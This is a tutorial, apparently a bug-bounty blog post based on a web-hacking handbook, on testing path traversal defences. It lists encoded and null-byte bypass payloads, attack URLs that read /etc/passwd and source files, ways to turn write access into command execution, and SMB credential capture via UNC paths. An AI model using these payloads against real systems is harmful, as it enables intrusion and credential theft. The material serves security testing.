Testing for Directory or Path Traversal Vulnerabilities
Tags: Path Traversal, Directory Traversal, Bug Bounty, Security, Infosec

If your initial attempts to perform a traversal attack are unsuccessful, this does not mean that the application is not vulnerable.

Many application developers are aware of path traversal vulnerabilities and implement various kinds of input validation checks in an attempt to prevent them. However, those defenses are often flawed and can be bypassed by a skilled attacker.

1. The first type of input filter commonly encountered involves checking whether the filename parameter contains any path traversal sequences. If it does, the filter either rejects the request or attempts to sanitize the input to remove the sequences. This type of filter is often vulnerable to various attacks that use alternative encodings and other tricks to defeat the filter.

1.1. Try simple URL-encoded representations of traversal sequences using the following encodings. Be sure to encode every single slash and dot within your input:

Dot — %2e Forward slash — %2f Backslash — %5c

1.2. Try using 16-bit Unicode encoding:

Dot — %u002e Forward slash — %u2215 Backslash — %u2216

1.3. Try double URL encoding:

Dot — %252e Forward slash — %252f Backslash — %255c

1.4. Try overlong UTF-8 Unicode encoding:

Dot — %c0%2e, %e0%40%ae, %c0ae, and so on

Forward slash — %c0%af, %e0%80%af, %c0%2f, and so on

Backslash — %c0%5c, %c0%80%5c, and so on.

You can use the illegal Unicode payload type within Burp Intruder to

generate a huge number of alternate representations of any given character and submit this at the relevant place within your target parameter.

These representations strictly violate the rules for Unicode representation but nevertheless are accepted by many implementations of Unicode decoders, particularly on the Windows platform.

1.5. If the application is attempting to sanitize user input by removing traversal sequences and does not apply this filter recursively, it may be possible to bypass the filter by placing one sequence within another. For example:

….//

….\/

…./\

….\\

2. The second type of input filter commonly encountered in defenses against path traversal attacks involves verifying whether the user-supplied filename contains a suffix (file type) or prefix (starting directory) that the application expects. This type of defense may be used in tandem with the filters already described.



2.1. Some applications check whether the user-supplied filename ends in

a particular file type or set of file types and reject attempts to access

anything else. Sometimes this check can be subverted by placing a URLencoded null byte at the end of your requested filename, followed by a

file type that the application accepts. For example:

../../../../../boot.ini%00.jpg

The reason this attack sometimes succeeds is that the file type check is implemented using an API in a managed execution environment in which strings are permitted to contain null characters (such as String.endswith() in Java). However, when the file is actually retrieved, the application ultimately uses an API in an unmanaged environment in which strings are null-terminated. Therefore, your filename is effectively truncated to your desired value.

2. Some applications attempt to control the file type being accessed by appending their own file-type suffix to the filename supplied by the user.

In this situation, either of the preceding exploits may be effective, for the same reasons.

3. Some applications check whether the user-supplied filename starts with a particular subdirectory of the start directory or even a specific filename. This check can, of course, be bypassed easily as follows:

filestore/../../../../../../../etc/passwd

4. If none of the preceding attacks against input filters is successful individually, the application might be implementing multiple types of filters. Therefore, you need to combine several of these attacks simultaneously (both against traversal sequence filters and file type or directory filters). Try to break the problem into separate stages.

For example, if the request for: diagram1.jpg is successful, but the request for:

foo/../diagram1.jpg fails, try all the possible traversal sequence bypasses until a variation on the second request is successful.

If these successful traversal sequence bypasses don’t enable you to access /etc/passwd , probe whether any file type filtering is implemented and can be bypassed by requesting: diagram1.jpg%00.jpg

Working entirely within the start directory defined by the application, try to probe to understand all the filters being implemented, and see whether each can be bypassed individually with the techniques described.

5. You can exploit read access path traversal flaws to retrieve interesting files from the server that may contain directly useful information or that help you refine attacks against other vulnerabilities. For example:

a) Password files for the operating system and application

b) Server and application configuration files to discover other vulnerabilities or fine-tune a different attack

c) Include files that may contain database credentials

d) Data sources used by the application, such as MySQL database files or

XML files

e) The source code to server-executable pages to perform a code review in

a search of bugs (for example, GetImage.aspx?file=GetImage.aspx )

f) Application log files that may contain usernames and session tokens and

the like

If you find a path traversal vulnerability that grants write access, exploit this to achieve arbitrary execution of commands on the server. Here are some ways to exploit this vulnerability:

1. Create scripts in users’ startup folders.

2. Modify files such as in .ftpd to execute arbitrary commands when a user connects.

3. Write scripts to a web directory with execute permissions, and call them

from your browser.

Path Traversal attacks against a web server

https://testsite/../../../../../etc/passwd

https://testsite/..%255c..%255c..%255cboot.ini

https://testsite/..%u2216..%u2216someother/file

Path Traversal attacks against a web application

Original: https://testsite/foo.cgi?home=index.htm

Attack: https://testsite/foo.cgi?home=foo.cgi

In the above example, the web application reveals the source code of the foo.cgi file.

Path Traversal attacks against a web application using special-character sequences:

Original: https://testsite/scripts/foo.cgi?page=menu.txt

Attack: http://testsite/scripts/foo.cgi?page=../scripts/foo.cgi%00txt

In the above example, the web application reveals the source code of the foo.cgi file by using special-characters sequences. The “ ../ ” sequence was used to traverse one directory above the current and enter the / scripts directory. The “ %00 ” sequence was used both to bypass the file extension check and snip off the extension when the file was read in.

Absolute Path Traversal

The following URLs may be vulnerable to this attack:

https://testsite/get.php?f=list

https://testsite/get.cgi?f=5

https://testsite/get.asp?f=test

An attacker can execute this attack like this:

https://testsite/get.php?f=/var/www/html/get.php

https://testsite/get.cgi?f=/var/www/html/admin/get.inc

https://testsite/get.asp?f=/etc/passwd

When the webserver returns information about errors in a web application, it is much easier for the attacker to guess the correct locations (e.g. path to the file with a source code, which then may be displayed).

Take in to account the following character encoding mechanisms:

URL encoding and double URL encoding

%2e%2e%2f represents ../

%2e%2e/ represents ../

..%2f represents ../

%2e%2e%5c represents ..\

%2e%2e\ represents ..\

..%5c represents ..\

%252e%252e%255c represents ..\

..%255c represents ..\ and so on.

Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences)

.%c0%af represents ../

..%c1%9c represents ..\

There are other OS and application framework-specific considerations as well. For instance, Windows is flexible in its parsing of file paths.

Windows shell: Appending any of the following to paths used in a shell command results in no difference in function:

1. Angle brackets < and > at the end of the path

2. Double quotes (closed properly) at the end of the path

3. Extraneous current directory markers such as ./ or .\\

4. Extraneous parent directory markers with arbitrary items that may or may not exist:

file.txt

file.txt…

file.txt<spaces>

file.txt””””

file.txt<<<>>><

./././file.txt

nonexistant/../file.txt

Windows API: The periods or spaces are discarded when used in any shell command or API call where a string is taken as a filename.

Windows UNC Filepaths: Used to reference files on SMB shares. Sometimes, an application can be made to refer to files on a remote UNC file path. If so, the Windows SMB server may send stored credentials to the attacker, which can be captured and cracked. These may also be used with a self-referential IP address or domain name to evade filters, or used to access files on SMB shares inaccessible to the attacker, but accessible from the webserver.

\\server_or_ip\path\to\file.abc

\\?\server_or_ip\path\to\file.abc

Windows NT Device Namespace: Used to refer to the Windows device namespace. Certain references will allow access to file systems using a different path.

May be equivalent to a drive letter such as c:\ , or even a drive volume without an assigned letter: \\.\GLOBALROOT\Device\HarddiskVolume1\

, or even a drive volume without an assigned letter: Refers to the first disc drive on the machine: \\.\CdRom0\

References:

The Web Application: Hacker’s Handbook- 2